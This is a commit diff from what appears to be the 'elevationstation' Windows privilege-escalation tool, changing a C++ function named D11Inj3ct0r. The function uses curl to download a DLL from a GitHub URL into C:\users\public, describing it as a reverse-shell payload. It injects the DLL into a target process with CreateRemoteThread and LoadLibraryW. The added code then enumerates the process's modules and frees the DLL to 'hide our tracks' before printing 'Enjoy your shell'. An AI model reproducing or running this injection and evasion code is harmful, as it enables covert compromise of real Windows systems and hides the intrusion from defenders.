|
5 | 5 | #include <string> |
6 | 6 | #include <conio.h> |
7 | 7 | #include <lmcons.h> |
| 8 | +#include <tchar.h> |
8 | 9 | #include <strsafe.h> |
9 | 10 | #include <sddl.h> |
10 | 11 | #include <userenv.h> |
11 | 12 | #include <Dbghelp.h> |
12 | 13 | #include <winternl.h> |
| 14 | +#include <psapi.h> |
13 | 15 | #include "def.h" |
14 | 16 |
|
15 | 17 | #pragma comment(lib, "userenv.lib") |
@@ -227,6 +229,11 @@ BOOL NamedPipeImpersonate() |
227 | 229 |
|
228 | 230 | bool D11Inj3ct0r(DWORD pid) |
229 | 231 | { |
| 232 | + HMODULE hMods[1024]; |
| 233 | + //HANDLE hProcess; |
| 234 | + DWORD cbNeeded; |
| 235 | + unsigned int i; |
| 236 | + |
230 | 237 | cout << "[+] Downloading your dll from the elevationstation repo for the rev sh311 now!\n"; |
231 | 238 | WinExec("curl -# -L -o \"c:\\users\\public\\mig2.dll\" \"https://github.com/g3tsyst3m/elevationstation/raw/main/d11inj3ction_files/mig2.dll\"", 0); |
232 | 239 | Sleep(3000); |
@@ -284,13 +291,53 @@ bool D11Inj3ct0r(DWORD pid) |
284 | 291 | exit(0); |
285 | 292 | } |
286 | 293 | printf("[+] Creating remote thread...\n"); |
287 | | - PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); |
288 | | - if (!CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL)) |
| 294 | + PTHREAD_START_ROUTINE threadStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); |
| 295 | + if (!CreateRemoteThread(processHandle, NULL, 0, threadStartRoutineAddress, remoteBuffer, 0, NULL)) |
289 | 296 | { |
290 | 297 | printf("[!] couldn't create remote thread...Error Code: %d", GetLastError()); |
291 | 298 | exit(0); |
292 | 299 | } |
293 | 300 | printf("[+] Remote Process Injection completed successfully!!!\n"); |
| 301 | + printf("[+] Now, time to unload the injected dll to hide our tracks...\n"); |
| 302 | + Sleep(5000); |
| 303 | + |
| 304 | + //close module handle to dll |
| 305 | + if (EnumProcessModules(processHandle, hMods, sizeof(hMods), &cbNeeded)) |
| 306 | + { |
| 307 | + for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) |
| 308 | + { |
| 309 | + TCHAR szModName[MAX_PATH]; |
| 310 | + |
| 311 | + // Get the full path to the module's file. |
| 312 | + |
| 313 | + if (GetModuleFileNameEx(processHandle, hMods[i], szModName, |
| 314 | + sizeof(szModName) / sizeof(TCHAR))) |
| 315 | + { |
| 316 | + // Print the module name and handle value. |
| 317 | + if (_tcscmp(szModName, L"C:\\Users\\public\\mig2.dll") == 0) |
| 318 | + { |
| 319 | + printf("[+] found the dll within the injected process!\n"); |
| 320 | + _tprintf(L"\t%s (0x%08X)\n", szModName, hMods[i]); |
| 321 | + |
| 322 | + |
| 323 | + PTHREAD_START_ROUTINE threadStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "FreeLibrary"); |
| 324 | + if (!CreateRemoteThread(processHandle, NULL, 0, threadStartRoutineAddress, hMods[i], 0, NULL)) |
| 325 | + { |
| 326 | + printf("[!] couldn't create remote thread...Error Code: %d", GetLastError()); |
| 327 | + exit(0); |
| 328 | + } |
| 329 | + else |
| 330 | + { |
| 331 | + std::cout << "[+] CreateRemoteThread success and injected dll unloaded! Enjoy your shell ;)\n"; |
| 332 | + exit(0); |
| 333 | + } |
| 334 | + |
| 335 | + } |
| 336 | + } |
| 337 | + } |
| 338 | + } |
| 339 | + |
| 340 | + |
294 | 341 | CloseHandle(processHandle); |
295 | 342 |
|
296 | 343 | return 0; |
|
0 commit comments